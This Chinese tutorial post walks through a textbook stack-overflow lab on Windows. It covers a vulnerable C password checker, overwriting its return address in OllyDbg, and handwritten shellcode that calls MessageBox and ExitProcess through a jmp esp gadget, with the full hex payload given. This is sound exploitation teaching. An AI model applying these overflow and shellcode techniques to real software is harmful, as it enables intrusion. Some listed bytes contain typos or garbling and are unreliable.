Win下栈溢出示例

  • A+
所属分类:逆向工程

Win下栈溢出示例


例子来自《0day 安全:软件漏洞分析技术》


栈溢出

程序会读取目录下的 password.txt 然后复制到 buffer 中,然而 buffer 只有 8 字节,password 是 1024 字节的


#include <stdio.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[8];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}
main()
{
    int valid_flag=0;
    char password[1024];
    FILE * fp;
    if(!(fp=fopen("password.txt","rw+")))
    {
        exit(0);
    }
    fscanf(fp,"%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!n");
    }
    fclose(fp);
}

password.txt 的内容:


Win下栈溢出示例


提前用 IDA 看到 verify_password 函数的地址是 0x401020


Win下栈溢出示例


在 OD 中给 verify_password 返回的时候下个断点,这样可以刚好在栈溢出发生之前给断下来


Win下栈溢出示例


那,修改 password.txt,把返回地址改成 Congratulation 那个分支的地址的话是可以成功的


Win下栈溢出示例


接下来试着用它弹一个窗,要对源码做一下改变以便能够调用 Messagebox 函数,因此导入了 user32.dll

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[44];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}
main()
{
    int valid_flag=0;
    char password[1024];
    FILE * fp;
    LoadLibrary("user32.dll");
    if(!(fp=fopen("password.txt","rw+")))
    {
        exit(0);
    }
    fscanf(fp,"%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!n");
    }
    fclose(fp);
}

使用 Dependency walker 查看一下 user32.dll 的基址 0x77d10000 与 messagebox 的偏移 0x407ea

加起来就是 0x77D507EA


Win下栈溢出示例


编写 shellcode

找到了地址之后就可以构造 shellcode 了


机器码

汇编指令

注释

33DB

XOR EBX,EBX

异或置零

53

PUSH EBX

作为字符串结束的截断符号 0

684841434B

PUSH 4B434148

把 'HACK' 字符串进栈

8BC4

MOV EAX,ESP

字符串指针,方便后面 push 进去

53

PUSH EBX

第四个参数 0

50

PUSH EAX

第三个参数 标题

50

PUSH EAX

第二个参数 内容

53

PUSH EBX

第一个参数 0

B8EA07D577

MOV EAX, 77D507EA

把 Messagebox 的函数地址放到 EAX

FFD0

CALL EAX

调用 Messagebox

33DB53684841434B8BC453505053B8EA07D577FFD0

然后可以填入一堆 90(也就是 NOP)

最后在 ret 的那个地方填入 0012FAF0(也就是栈顶),最终是这样的


Win下栈溢出示例


Win下栈溢出示例


jmp esp

直接填入栈顶是需要我们自己去找栈顶的地址的,可以用 jmp esp 让他自己跳转到 esp 去执行 shellcode

可以用 OllyUni.dll 这个插件

https://bbs.pediy.com/thread-65240.htm


(OD 插件有上限,如果放进去之后 OD 打不开了可以先拿出几个插件来)


Win下栈溢出示例


Win下栈溢出示例


先用 0x7FFA4512 试试,,使用 jmp esp 的原理是在 ret 的时候是 pop eip 的,esp 会 +4,指向返回地址下面,所以只要返回地址后面跟着 shellcode 就行了,我们还希望他能够正常的退出,给它加上一个 ExitProcess 函数


用 Dependency walker 去 kernel32(0x7c800000)找一下 ExitProcess(0x00001cafa)得到退出函数地址 0x7C81CAFA


机器码

汇编

注释

53

PUSH BEX

exit (0),这个是参数 0

B8FACA817C

MOV EAX,0x7C81CAFA

地址放到 eax

FFD0

CALL EAX

调用函数

909090909090909090909090909090909090909090909090909090909090909090909090909090909099909090909090909090901245FA7F33DB53684841434B8BC453505053B8EA07D577FFD035334238464143413831374346464430


本文始发于微信公众号(陈冠男的游戏人生):Win下栈溢出示例

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: